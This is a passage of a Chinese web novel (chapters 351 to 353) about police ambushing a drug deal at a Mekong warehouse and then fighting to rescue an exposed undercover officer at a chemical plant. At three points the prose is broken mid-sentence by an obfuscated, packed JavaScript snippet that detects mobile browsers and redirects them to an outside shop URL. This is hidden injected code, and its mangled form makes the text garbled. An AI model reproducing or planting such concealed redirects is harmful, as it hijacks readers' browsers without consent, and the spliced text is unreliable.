月光升到了正中央,愣愣地悬在湄公河支流上空。河水缓缓流淌,在月光下泛着幽幽白光。下游三号码头远离主航道,四周只有零星几点灯火。仓库区外围围着铁丝电网,不知道有没有通电,唯一的大门紧闭着,门岗亭亮着灯,里头坐着人。 最里头靠河的3号仓库虚掩着侧门,露出一点点光线,偶尔有几句压低声音的谈话从里面飘出来,听不清楚。 回北蹲在灌木后面,举着夜视仪把仓库区扫了个来回。有几个模糊的热源团窝在仓库里,侧门露出的光线也白得刺眼。 “李静。”她歪了歪头,对着夹在衣领下的麦克风道,“找个地儿猫着,盯死3号库的门、门岗,还有河面,看看有没有船过来。等会儿C队那帮孙子来了,你给他们指指路,省得他们那领队人又迷路。” “得嘞!”李静那边应了一声,然后回北只看见一个人影摸向不远处的两层高台,几下就没了影子。 回北继续道:“陈兴,你看看这电网有没有通电,还有没有啥不给有的无线电波。” “电网没通电,唬人的。”陈兴很快就回答道,“里面有三个对讲机信号,很活跃,都聚集在3号库里,还有一个像是卫星电话的加密信号,也在那边。” 回北点了点头,有卫星电话,十有八九是徐文博或者何贵在联络。她朝着后头勾了勾手指,压低声音:“王二磊,赵大海,你们俩跟我来,咱们找地方钻进去。” 三人偷偷溜到靠近河边的一角,这里地势低,地基被水泡得有些下沉,铁丝网和地面之间有一个不大不小的空间,可以供一个人钻进去,旁边还长着乱七八糟的藤蔓。 回北趴下来,把底下几根铁丝剪短掰开,侧着身子率先从缺口钻了进去。落地顺势一滚,隐在一堆旧木托盘后头,观察四周,确认安全。 王二磊和赵大海紧跟着也钻了进来,三个人对视一眼,猫着腰快步朝着3号仓库侧后方摸去。 越靠近,仓库里传出来的声音就越来越清晰,是高棉语和中文混杂在一起: “小心点,别磕到了……” “……船啥时候到?催催……” 回北在仓库外墙停下来,侧过脸,通过门缝往里面看去。 ——几个蓝色的大化工桶杵在地上,有几个人正闷头搬着什么。有个穿着西装的男人正背对着门打电话,但看身形并不是徐文博或者何贵。在角落里,有一个人正小心翼翼地从一个特制保温箱里取出一个小罐子,里面装着液体。 是液态芬太尼衍生物。 回北缩回头,摁开对讲机,用气音道:“李静,外面什么情况?” “门岗的哥们睡着了,河面平静,没有船只来,外面也没有看见人。”李静回答。 “陈兴?” “对讲机和卫星电话都通着话呢,目前看很安全。” 回北深深吸了口气,夜风带着河水的腥气和仓库的化学品味道,灌进了肺里,有点呛人。她看了看旁边的王二磊和赵大海,再次摁下通话键: “所有人注意,B队已潜入目标仓库区外围,并完成初步侦察。现已确认,3号仓库内确已发现大量新型液态毒品以及配套原料存放,并有八名以上武装贩毒分子在现场活动,其头目为徐文博手下。现场未发现徐文博、何贵本人。” “目前判断,此处为徐文博预设的真正交易地点之一。徐文博与何贵可能在半小时后现身此处完成最终交易。因此,B队暂不采取突击行动。原地隐蔽监视,等待目标人物出现。” “A队,张浩然,你们继续在化工厂外围隐蔽。C队按照原计划在外围河道以及陆地预设伏击点就位。一旦B队发出信号,或发现可疑船只、车辆试图接应、逃离,立即拦截抓捕。” “各队保持通讯畅通,随时听我指令。” 在C队到达湄公河支流附近半小时后,河岸方向传来了引擎由远及近的突突声。一艘没有亮航行灯的小型快艇从下游的河道拐角处出现,靠向了码头区一个泊位。 船上下来几个人,领头的是个穿着花哨夏威夷衬衫,戴着墨镜,扎着小辫子的男人。他是何贵的副手,身后还跟着几个黑衣保镖,面无表情,个个腰后都别着手枪。 同时,在仓库区另一侧连接公路的土路上亮起了几束车灯,几辆越野车停在外围,下来七八个人。为首的是个盘着丸子头的女人,穿着背心和工装裤,是何贵手下的人。 回北等人躲在一边偷偷盯着他们,藏在草丛里的藏草丛,潜河底下的潜河底下,大气不敢出。 西装男早已带着两名手下等在仓库门口,见到两方来人,立刻堆起笑容迎接上去。小辫子男人走上前,摘下墨镜,露出一双细长精明的眼睛,朝着丸子头女人伸出手,笑道:“水路难走,我们来晚了点,见谅见谅。” 丸子头伸手和他握了一下:“哪有,我们也才刚到。” 她看向西装男:“都是自己人,就不绕弯子了。我们老板和博哥也早就跟你们交代过,直接一手交钱一手交货吧。” “好的好的,二位里面请,货都准备好了。”西装男欠了欠身,侧身引路。 一行人进入3号仓库,西装男将他们引到装有毒品的几个特定保温箱旁。一个穿着白大褂,戴着护目镜的中年男人已经等在那里,他是何贵那边的制毒师。 制毒师脱下护目镜,擦了擦额角的汗水,伸手介绍道:“就是这些有,‘眼睛蓝’,纯度98.7%。稳定性测试全部通过。按照何老板的要求,分装成五十个标准运输单位,每个单位理论上可以稀释成市面上大约两千个‘快乐天使’的当量。挥发性控制和预设降解路径都做到了当前技术的极限,运输安全窗口是72小时。” 丸子头上前一步,用食指挑起压在其中一个保温箱上的盖子,扫了一眼里面排列整齐的小型容易,点了点头表示认可。 小辫子见状,给身后的保镖使了个眼色。那名保镖搬来了三个沉重的箱子,放在空地上,随后掀开了箱子—— 满满三箱整整齐齐的金条,金光闪瞎了外围的回北等人的24K纯氪金狗眼。 紧接着,另一名手下走上前,将一台平板电脑递到丸子头面前。通过望远镜,可以看见屏幕上显示着一个复杂的加密钱包地址,以及待转账的比特币数量:426.115BTC。下面还有一个经过多重混淆的收款地址。 所有警察看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243413|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这一幕,感觉肺里的空气在这一瞬间被抽空,心脏几乎停跳。这不仅仅是一串天文数字,更是无数被毒品摧毁的家庭,堕入深渊的生命,变成了罪恶货币。 半晌,回北才从牙关里挤出几个字:“我操……这帮杂种的胆子真是够肥。” 仓库里,小辫子点了点头:“老规矩,百分之三十的定金已经打到何老板的海外账户上,剩下的部分等货安全抵达,确认无误后,十二小时内分两次结清。收款地址你再核对一下。” 西装男人接过平板,仔细核对了一下,随后点了点头,将一个u盘递给小辫子:“这是完整的技术包,生产全流程、关键温度压力参数、催化剂改良方案等等都在里面了。密码我们老板已经单独告诉博哥了。” 他说完,便示意手底下的马仔将那些装着毒品的保温箱进行封装,准备搬运。 西张男人忽然想到了什么,好奇问道:“对了,听说博哥今晚还在旧厂那边安排了?那边现在情况怎么样?不会把条子引得太近,耽误了咱们这边装船吧?” “引过来才好,旧厂那边警察越多,咱们这边水路才越干净。”小辫子双手插兜,走到一扇窗户边,看着外面黑沉沉的河道,“你们的人动作快点,把货搬到3号泊位,别磨磨唧唧的,万一真拖到有警察摸过来,他们一举枪,然后——” 砰! 仓库侧门突然猛地被人从外面暴力踹开!整扇门板直接打着旋朝着仓库飞了进来,砸倒站在中间的一个马仔,呼啸着撞进对面堆叠的蓝色化工原料桶上。几个原料桶咕噜噜滚了一地,里面不知名化学液体汩汩流出,刺鼻的气味立刻蔓延开来。 “不许动!警察!” 仓库里所有人都僵在原地,小辫子猛地转过身,对上一个黑洞洞的枪口。 顺着枪身往前看去,是穿着黑色作战服,面无表情,稳稳举着□□,对准他自己的回北。 仓库另一侧,王磊的枪口也稳稳地对准了一个何贵手下的人。那是个膀大腰圆的保镖,但此刻他只觉得一股寒气从尾椎骨直冲天灵盖,冷汗滚了下来,刚摸到枪柄的手缓缓举过头顶。 下一秒,仓库四面八方所有窗户玻璃被从外面破开!碎裂的玻璃倾泻而下,一道道黑色身影矫捷迅猛地鱼贯而入,落地、翻滚、起身、举枪、瞄准!一系列动作行云流水,让人眼花缭乱。眨眼间,整个小组已经控制了仓库内部,枪口指向了中间那群呆若木鸡的毒贩。 轰——!!! 仓库正门方向传来了撞击声,陈兴和赵大海带领的突击小队已经破门而入!铁门向内倒塌,激起一片尘土。 烟雾还未散去,特警队员就从正门涌入,迅速展开队形,配合从窗户突入的队员,将仓库中心的毒贩彻底包围。 西装男意识到大事不妙,想都没想,就朝着旁边的原料桶扑去,手已经伸到腰后打算拔枪。 紧接着,一枚子弹就擦着他头皮飞过,打在他脚边,溅起一溜火星! “别动!”李静的声音从仓库上方的横梁上传来。 西装男扑出去的动作硬生生僵住,整个人半蹲在地上,脸色煞白,那只伸向手枪的手松开,不甘心地缓缓举过了头顶。 351.假交易地点 周围的警察纷纷掏出手铐,打算将被压制住的毒贩铐上—— 不远处角落里,被反扭住手臂的丸子头突然身体一拧!抽出手臂,紧接着抬起手肘重重向后击去! 她身后的警察猝不及防,胸口被结结实实撞中,剧痛和窒息感猛地传来,还没等他松一口气,就这短短几秒钟的时间,丸子头另一只手已经从自己腿侧抽出一把手枪,上趟,瞄准,砰! 子弹命中了她身后警察的大腿!血花爆开,那名警察闷哼一声,向下倒去! 紧接着,小辫子也朝着回北指着他的枪口踏出一步,右手勾上回北的手腕,五指猛地发力!回北只觉得腕骨传来一阵钻心的痛,硬生生稳住枪,但枪口偏移了一点。 小辫子趁机顺着枪口偏移的反方向滑出去,同时拔出手枪,对着回北扣下扳机! 回北猛地向旁边扑倒,子弹打在她身后的原料桶上,爆出一团火花! 仓库里所有毒贩在这一刻同时暴起,扑向周围的警察!耳边全是枪响和怒吼声,场面彻底失控。 回北翻滚起身,半跪在一个集装箱后面,还没来得及查看那名受伤倒地的队员的情况,就见小辫子朝着自己扑来! 两人在货箱后搏斗,小辫子一块快速移动,一边朝着回北的方向开枪!子弹不断地打在集装箱和墙壁上,噼啪作响。直到他的弹匣被打空,也没真正伤到回北。 小辫子毫不犹豫扔掉空枪,而回北从另一个方向突然闪出,举枪射击!小辫子猛地向着侧面躲避,子弹擦着他肩膀飞过,扬起一溜血线。他毫不在意,向前冲去,一拳狠狠砸向回北持枪的手! 回北手腕再次遭到重击,手枪脱手飞出,掉落在角落里。 小辫子站在回北对面,抹了把肩膀上渗出的血,在四周的枪声和喊杀声中,他朝着回北挑衅地勾了勾手指:“条子,你他们有本事就来弄死我啊!” “好啊。”回北看着他笑了一下。 下一秒,回北整个人仿佛在原地消失了一下,忽然间就闪到了小辫子正前方! 她拧腰转胯,长腿狠狠抽向小辫子的膝弯!小辫子只觉得小腿后侧传来一阵剧痛和酸麻,腿一软,不受控制地向下跪去。 紧接着,回北的膝盖就迎了上来,结结实实地撞在了小辫子柔软的腹部! “呃——!” 小辫子闷哼一声,胃里翻江倒海,眼前阵阵发黑。求生的本能刺激下来,他强忍着呕吐,双臂猛地向前一探,死死勒住了回北的脖子! 长期在金三角地带从事危险勾当的毒贩,力量大得惊人。窒息感猛地涌上了回北的心头,肺部火烧火燎地疼,眼前金星乱冒。 千钧一发之际,回北猛地转身,用尽全身力气狠狠撞向小辫子的肋骨! 耳边传来轻微的骨裂声,小辫子无声地骂了一句,勒住回北脖颈的手臂不由得松了一下。 回北转瞬间就脱身而出,反手抓住小辫子的手臂,一个干净利落的反手过肩摔!小辫子只觉得天旋地转,整个人就砸在了水泥地上。 尘土飞扬,靠近的几名正在搏斗的警察和毒贩都被扬起的灰尘呛得连连咳嗽。 回北从腰间摸出手铐,就要上前给暂时被摔懵的小辫子上铐。 但小辫子就像顽强的蟑螂,他在地上痛苦地扭动,却在回北靠近后猛地抬腿,踢向回北的双腿! 回北猝不及防被踢中脚踝,重心一失,也向前扑倒在地!小辫子趁机翻身,一拳狠狠砸向回北!回北挨了这一拳,脑袋嗡嗡作响,嘴角立刻渗出了鲜血。 “打人不打脸没听过啊!”回北啐出一口血沫,双腿猛地绞住小辫子的一条胳膊,死死锁住他的肘关节! 小辫子吃痛,挣扎的力量顿时弱了几分。回北抓住机会,甩出手铐,咔嚓一声将小辫子的一只手腕铐在了旁边的钢柱上。 小辫子还想用另一只手反抗,回北伸手一抓,反向一别,又是咔嚓一声,将他双手都缩在了钢柱上。 “哇哦,这不就抓到你了吗?”回北站起身拍了拍手上的灰尘,随后蹲在小辫子面前,看着他那张因为疼痛扭曲的脸。 小辫子的胸膛剧烈起伏,鼻血哗啦啦涌出。他死死瞪着回北,忽然咧开嘴阴恻恻地笑道:“回队长,我认得你,你的通缉令在暗网上挂了三年。” 回北面不改色:“哦,我晓得啊。” 她当然知道。三年前,在回北还在广东工作时,她带队端掉了徐文博掌控下的一个重要跨境贩毒集团,缴获了巨量毒品,还顺藤摸瓜挖出了几百条国际贩毒渠道,但也因此激怒了金三角地区好几个老牌毒枭。 事后,她的详细身份信息和照片就被悬赏百万美元挂上了暗网。不久后,她在临沧市一带办案时被袭击,从临沧一路被追杀至普洱境内的无量山深处。在雨林里独自躲藏了一周,确认安全后才走出山林,强撑着来到了临沧市公安局才倒下,把过来上班的张浩然吓得不轻。 为了她的安全,高层便将她从广东调到了云南,与曾经被她吓到的张浩然阴差阳错成了同事。 小辫子前倾身体,凑近回北,压低声音,一字一句道:“那你知道,还有谁的通缉令在刚刚被挂上去了吗?” “你们的卧底,南——栀——” “我们老大早就察觉到她是卧底了。”小辫子得意地笑起来,“你还没看到吗?我们老大徐文博,还有何贵那个老狐狸,他们现在可不在这个仓库里哦。” 他舔了舔嘴唇上的血:“他从头到尾都在那个旧化工厂里,盯着竹笛。你猜猜,他弄这一出是想干什么呢?嗯?回队长?” 回北脸上的血色褪得一干二净! 她再也控制不住,一巴掌狠狠扇在小辫子脸上!随后猛地站起身,捡起地上自己的手枪,大步朝着仓库外狂奔! “B队和C队留下来,控制现场,负责收尾!”她边跑边朝着周围喝道,“李静!王二磊!” 李静和王二磊立刻聚拢过来:“在!” “你们俩现在就跟我走!立刻回化工厂!” 此时此刻,化工厂内,南栀仍然站在原地,没有去碰白蝎带来的那批次品。 忽然,除了南栀自己,工厂内所有徐文博的手下佩戴的耳麦亮起了灯,他们纷纷侧头倾听。 紧接着,他们脸色齐刷刷一变。 那是混合着震惊、恍然,然后迅速变成敌意和杀气的脸色。所有人猛地抬头看向中间的南栀,随即开始看似随意地移动脚步,调整站位。 原本松散围在四周的阵型在几秒钟内变化,将南栀包夹在了中间的半包围圈里。 南栀看着这一幕,心脏沉到了谷底。她脸上仍然挂着温和的笑容,不动神色地朝着身后那片结构很复杂的废弃反应罐区退去。 那里曾经是工厂的核心区域,现在只剩下布满管道和阀门的罐体。管道纵横交错,视线受阻,地形复杂,是她此刻唯一能想到的可以暂时周旋的地方。 不远处,那几栋低矮平层楼顶,张浩然收到了回北传来的通讯,忙朝着分散在各处的队员打出一连串手势,低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243414|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声吩咐道:“徐文博可能在厂内!目标更变——突入化工厂,优先确保我方卧底安全!准备强攻!” 所有A队队员没有犹豫,纷纷从各自的藏身点弯着腰起身,朝着化工厂潜行。 化工厂内,白蝎也察觉到了气氛的不对劲,他上前一步:“竹姐,你们博哥的人……怎么回事?站这么远,防贼呢?” 南栀没有回答他的话,转头对着不远处一个手下说:“你联系一下老大,问问是不是路上出了什么意外,耽搁了?怎么指令还没传过来?” ——“不用问了。” 一个熟悉的,带着慵懒笑意的男声,突兀地从厂房上方传来。 南栀猛地抬头,循声望向二楼的环廊。 徐文博站在那里,斜倚在栏杆上,微微探出身子,俯瞰着下方的一切,脸上挂着平日里温和,甚至带着点书卷气的笑容。月光落在他轮廓深邃的脸上,一半明,一半暗。 在他身边还站着一个咧着嘴,露出两颗金牙嘿嘿笑着的中年男人,正是何贵。 南栀平静地和徐文博对视,徐文博朝着她歪头笑了笑,抬起手挥了一下,手里正举着一个内部通讯对讲机。 徐文博是中缅混血,一头微卷的黑发有些长,隐隐遮住了半只眼睛。他穿着白色亚麻衬衫,袖子挽到小臂,下身是条深蓝色牛仔裤,腰间还挂着一串钥匙。看起来像个艺术青年,而非掌控着金三角新型毒品网络,拥有化学博士和前特种兵双重身份的巨枭。 南栀下意识地向后退去,身影一闪,没入了那片反应罐区之中,瞬间移开了所有人的视线范围。 “哎!”一名手下见状,立刻拔腿就想冲进罐区抓人。 “不用去。”徐文博抬起一只手示意,轻笑道,“人家女孩子不愿意出来,我们总不能强求,对吧?” 白蝎抬起头,朝着二楼环廊上的何贵欠了欠身:“老板。” 何贵呵呵笑着,朝他手底下那帮已经有些不知所措的马仔挥了挥手,示意他们稍安勿躁。然后转向徐文博,眯起眼,缓缓道: “徐老板,刚收到的消息不太好啊。咱们在湄公河下游码头那边的小生意,好像被警察给端了。‘眼睛蓝’嘛,没了还能再制,配方和流程都在。但我们两边折进去的那些兄弟,可就活不过来了。” “这事儿啊,可多亏了您这位……心腹爱将,竹笛啊。你看,这事儿该怎么着啊?” 徐文博没理会何贵的阴阳怪气,他看向南栀藏身的方向,提高声音,慢条斯理道:“竹笛,或者我该叫你别的什么?比如——南、栀?” “九年了,演得真好。”他拍了拍手,“出来吧,我认为我们可以谈谈。你那些警察同事,好像还没到齐?” 他忽然侧过头,看向窗外某个方向,冷笑了一声。 张浩然等人:“?!” 几名徐文博的手下已经端着枪,一步步朝着反应罐区的几个入口方向逼近,手指搭在扳机护圈上。更多的人则散开,封锁了罐区的所有出口。 白蝎直接抽出了手枪,利落上膛,平举着对准了南栀刚才消失的罐区出口。他咬着后槽牙,怒道:“妈的,你他妈果然是条子?!老子这辈子最恨条子!” 南栀背靠着一个巨型罐体,放轻呼吸。 她缓缓地从工装裤腿侧抽出一把开刃的匕首,紧紧握住。 紧接着,徐文博轻轻叹了口气,勾起唇角: “请南小姐出来吧,要活的。” 话音落下,反应罐区外,脚步猛然加快! 352.混战 二楼两侧的走廊上涌出大批手持武器的保镖,显然已经埋伏多时,朝着化工厂一楼两个大门冲去! 砰砰砰砰! 他们冲到大门口的土路上,对着外面黑酸酸的草丛、土堆等一切可以藏人的地方扣动扳机!密集的弹雨泼洒而出,草丛里瞬间就传来了刻意压低的闷哼!一名正匍匐前进的A队队员肩膀中弹,身体猛地一颤,鲜血涌出,将身下的黄土路染红。 “还击!小心!!” 张浩然愤怒地怒吼道,他猛地从一处矮墙后直起身,抄起95式突击步枪托砸晕一个毒贩,紧接着枪口喷吐出炽热的火舌,朝着门口保镖的方向射击! 所有A队队员不再隐藏,纷纷跳起来还击!警察与毒贩展开了混战,每一秒都有人倒下。 化工厂内,南栀听到了外面的枪声和惨叫声,知道自己的同事被伏击了,情况比她预想得更糟。 她飞快地在迷宫般的反应罐区管道内穿梭,耳边是子弹叮叮当当搭在铁管和管道上的声音,在金属表面上溅起一串串火花。 这些毒贩都是亡命之徒,对警察的仇恨深入骨髓。一旦被他们活捉,等待南栀的便是难以想象的酷刑。但此刻南栀并不恐惧被抓,她更怕的是徐文博拿她当人质。 用来威胁谁?当然是回北。 南栀太了解回北了。她坚韧、果敢,为了仁和与正义可以付出一切,包括生命。她绝不会因为自己被挟持,就向罪犯妥协,做出违背原则的事情。 但恰恰因为了解,南栀更清楚,眼睁睁看着并肩作战的战友、更是心中挚爱被挟持,被伤害,甚至被处决,而自己为了大局只能旁观,那对于回北的精神,将是何等残酷持久的折磨。 外围的毒贩如同疯狗,拼命抵挡着试图突入化工厂救人的警察,将他们死死拦在外面。有数个警察前脚已经踏入大门口,下一秒就会被子弹贯穿胸膛,最后听到的是同伴凄厉的哭喊。 车间内的毒贩们则像嗅到血腥味的鲨鱼,搜索着南栀的位置,步步紧逼。 “那条子人呢?!” “刚才还在罐子后面,肯定进更里面去了!快找!” 一名端着乌兹冲锋枪的毒贩小心翼翼地从另一头摸了进来,他探出头,试图查看罐体后方的管道,而他的脖颈却完全暴露出来—— 毒贩只觉得颈侧忽地一凉,紧接着滚烫的液体便喷涌而出。他张大嘴巴想大喊,但气管和声带已经被隔断。 南栀从一边闪出,一手捂着他的嘴,另一只手将他猛地拽进了管道深处。 “在那边!开枪!!” 另一侧搜索的毒贩听到了动静,虽然没看到人,但还是扣下了扳机! 一串子弹扫射过来,大部分打在了罐体和尸体上。杂乱的脚步声朝着这边冲过来,南栀将那具尸体随手一推,转身再次在管道间穿行。 又有一名毒贩试图从高处包抄。他身手矫健地跃上了平台,探出半个身子,手中的枪口还没来得及指向下方,一道寒芒就从下方而上,贯穿了他的下颌! 那毒贩双目圆瞪,直直从平台一头栽下。 南栀抬起一脚,狠狠踹在他还没落地的身体上!那具尸体被踹得横飞而出,不偏不倚,正好撞在了从左侧冲出来的另一毒贩身上! “操!”那毒贩被同伴的尸体撞得一个趔趄,差点向后倒去。 然而,在这短短几秒钟内,越来越多的毒贩已经从四面八方涌了过来,将这里团团包围。一颗子弹击中了南栀头顶上方的管道,白色的气体喷泄而出! 南栀脸色一变,立刻屏住呼吸,一个侧滚翻出藏身角落。 数颗子弹打在了她刚才的位置,在水泥地上留下几个凹坑。白色的刺鼻气体也在这时迅速弥漫,遮挡了部分视线。 南栀这一翻滚,却也彻底暴露在了车间一楼空旷的中央,月光终于清晰地照亮了她的身影。 徐文博全程站在二楼,被几名保镖护在中间,笑盈盈地看着下方的南栀。 南栀刚稳住身形,还没来得及观察新的掩体,余光就瞥见一道魁梧的黑影猛地扑过来!她侧身就要躲开,但已经迟了——那人狠狠撞在她侧腰,她整个人向后踉跄好几步,半边身子瞬间酸麻胀痛,几乎失去知觉。 更多的毒贩瞅准时机,纷纷举起枪朝着这边瞄准。 眼看着就要彻底被缠住,生死关头,南栀身体猛地向下一沉,避开几颗子弹,同时右腿为轴,左腿灌注全力,一个后旋踢狠狠踹在那个魁梧毒贩的腰腹之间! “啊——!!!” 那体重起码超过两百斤的壮汉,竟如同一个被踢飞的破麻袋,双脚离去,被踹得凌空倒飞出去! 周围所有人眼睁睁看着他的身体直直撞碎了车间的玻璃窗,消失在窗外茂密的灌木丛里。碎玻璃和枝叶哗啦啦落下,窗外的惨叫声戛然而止,应该是享福去了。 车间内顿时陷入一片死寂。 所有追击的毒贩,包括二楼看戏的何贵以及手下,和徐文博身边的保镖,脸上都露出难以置信的震惊。 竹笛,那个总是温温柔柔,见人就笑,似乎连一只鸡都不敢杀的“竹笛”?她刚才一脚把一个壮汉踹飞了?踹出了窗外? 这他妈是什么雷霆恐怖力量?! 南栀卧底九年,从未在人前真正展露过她的格斗身手,大部分人以为她只是靠头脑和运气上位的聪明人。以至于此刻这石破天惊的一脚,彻底颠覆了所有人对她的认知。 而南栀就在周围人震惊的这一刻,化作一道影子! 最近一名还没反应过来的毒贩只记得喉咙处一凉,紧接着鲜血便涌了出来!他徒劳地捂住脖子,在周围同伴惊愕的目光中瘫软倒地,鲜血眨眼间就浸湿了一大片地面。 南栀手腕一翻,沾血的匕首抹过另一面正要举枪射击的毒贩手腕。筋断骨折,那毒贩惨叫一声,手中的枪脱手落地。 几分钟时间,南栀硬生生在包围圈中杀出了一条血路,朝着外围冲去! 二楼,徐文博的笑声在此刻消失,化作了被冒犯的阴鸷。他看着下方在枪林弹雨中穿梭的身影,冷冰冰吐出四个字:“一群废物。” 接着,他慢条斯理伸出手,身后的保镖立刻将一把银色的手枪双手奉上,放入他掌心。 徐文博掂了掂手枪,然后单手举起,枪口随意指向下方的南栀,扣下扳机—— 砰! 南栀刚拧断了一个毒贩的脖子,正打算往前冲。左肩膀处却猛地一震!巨大的冲击力让她不由自主向前趔趄,温热的液体贴着皮肤流下,浓重的血腥味冲入鼻腔。 “她中弹了!快!上啊!” 周围的毒贩不顾一切地冲上前!南栀强忍着剧痛,咬着牙勉强又躲开了几颗射向要害的子弹。但每一次移动都牵扯到伤口,鲜血滴滴答答落在满是灰尘的水泥地上。 手腕不知道被从哪飞来的枪柄重重击中,紧握着的匕首再也无法握住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243415|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哐当一声掉落在脚边。 紧接着,后背猛地撞上了冰冷的墙壁,退无可退。 黑洞洞的枪口从四面八方伸出,密密麻麻指向了她。有些枪口还冒着淡淡青烟。 楼梯上传来了不紧不慢的脚步声,围成一圈的毒贩向两侧分开,让出一条通道。 徐文博缓步了过来,食指随意勾着手枪的扳机护圈。何贵背着手,脸上带着看热闹不嫌事大的笑容,跟在他身后。 “南警官。”徐文博打量着南栀,赞叹道,“身手真好。” 他顿了顿,看向南栀流血的肩膀,又看了看周围那些或死或伤的手下,摇了摇,仿佛在惋惜:“不过,你动作再快……” 他缓缓抬起手中的银色手枪,枪口虚虚对准南栀的眉心。 “……也快不过子弹,是吧?” 外围的战况已经十分惨烈,张浩然满脸是血,分不清是自己的还是敌人的。他正和白蝎扭打在一起,拳拳到肉。白蝎经验老辣,抓住张浩然一个踉跄的时间,猛地抄起旁边散落的一截钢管,高高扬起,就要朝着张浩然的后脑勺狠狠砸下! “张浩然!” 只听一声厉喝,一道矫健的身影从后方飞跃而来!临空一脚狠狠踹在白蝎侧脸上! 白蝎的脸颊瞬间变形,鲜血和牙齿混合着喷出,整个人被李静这一脚踹得飞出去,手中的钢管也脱手飞出,砸在地上。 王二磊紧随其后,死死压住试图挣扎起来的白蝎。李静稳住身形,也冲了过来,毫不客气地骑在白蝎身上,抡起拳头就朝着那张满是血污的脸狠狠砸下去,边打边怒骂:“狗娘养的!还想动老娘兄弟?!” 回北冲过来,将摇摇欲坠的张浩然扶起来,顺便踢了地上的白蝎几脚,踹得对方直哼哼。 做完这些,她二话不说,朝着化工厂的大门口冲去。身后,几个A队队员立刻聚拢,持着枪盯着四周,任何试图拦路的保镖或毒贩都被警察击倒。 “回队!大门口人太多了!根本冲不进去!”张浩然捂着流血不止的额头,跟在后面大喊。大门口那儿密密麻麻围了不下三四十个持枪的毒贩,火力凶猛,强行突入伤亡肯定难以估量。 回北听到这话,一个急转弯,带着身后的小队转向了化工厂侧面一条通道:“走这儿!” 他们甩开身后追击的几个毒贩,七拐八绕,又翻过围墙,几步就绕到了化工厂的后方。一楼在这里没有窗户,只有二楼有。 回北将手枪插回腰间,后退几步助跑,然后猛地蹬地跃起!双手抓住二楼窗框,脚在墙面上用力一蹬,借力向上,几个干脆利落的引体向上加翻越动作,就翻进了二楼的窗户。 张浩然和其他几名队员紧随其后,悄无声息地翻进了二楼走廊。 所有保镖和毒贩此刻都聚集在一楼,围困着南栀,警惕着外面的警察,没人想到会有警察胆大包天,从他们头顶上方直接潜入。 回北挪到栏杆边,向下望去—— 下方,南栀被数十名持枪毒贩团团围在墙边,左肩有枪声,好在鲜血快止住了。徐文博就站在几步开外,脸上挂着笑容,手里的枪正对着南栀的眉心。 “你的回队长好像被困在外面了呢。”徐文博朝着大门口混战的方向偏了偏头,“你说,等她千辛万苦冲进来,看到的却是你的尸体,会露出什么样的表情?会不会很精彩?想把我千刀万剐了吧。” 他一边说着,一边朝着几个手下使了个眼色。 353.爆炸 那几个手下会意,纷纷从腰间抽出了一把把寒光闪闪的剔骨尖刀,刀锋上甚至还有暗红色的血迹。他们握着刀,一步步朝着退无可退的南栀逼去。 忽然,二楼上方传来轻微的咔哒声。 徐文博脸上的笑容未变,仿佛没听见,然后朝着旁边何贵的方向移了一步,站在了何贵面前—— 砰! 清晰的枪声从二楼上空响起,破空而来的子弹贯穿了何贵的太阳穴,扬起一弧血线。 剑拔弩张的车间瞬间静止,所有举着刀,端着枪的毒贩纷纷张大嘴,难以置信地看着何贵,何贵的身体前后摇晃了两下,还没明白发生了什么,然后双膝跪倒,面朝下载倒在水泥地上。 “操!”回北低骂一声,“这王八蛋用合作伙伴挡子弹!” 骂声落下,她单手一撑栏杆,整个人直接从二楼翻身跃下!张浩然等人见状,也毫不犹豫地跟着翻身而下。 回北落地翻滚,迅速起身,枪口稳稳对准了正前方浅浅笑着的徐文博,冷冰冰开口:“徐文博,警方已经将化工厂彻底包围!放下武器,立刻投降!” 同时,张浩然等队员已经迅速分散开来,占据有利位置,手枪上膛,指向了车间内每一个还站着的毒贩。 徐文博缓缓扫过周围这不到十名,却个个眼神坚定,浑身浴血的警察,脸上露出了一丝带着玩意的诧异,但很快被笑意取代。 他轻轻呵了一声,嘲讽道:“就凭你们,不到十个人?也敢孤军深入,闯入我的地盘?” 说着,他意有所指地看了不远处浑身是血的张浩然一眼,随后又移向工厂大门,那里枪声仍然激烈,但显然警察的主力被他的手下死死拖住了。 “通往这座工厂的所有道路,此刻都布满了我的眼线和抢手。你们外面的那些同事自身难保。而你们这几个,能撑到其他警察赶过来支援吗?” 他又看向回北,说道:“回队长,金三角想让你死的人能从湄公河排到泰缅边境。只要你的身影出现在柬埔寨的边境线上,你的坐标就会实时传送到任何一个想知道的人手里。” 徐文博摊了摊手:“你就这么只带着五六个手下,大摇大摆地闯进来?” 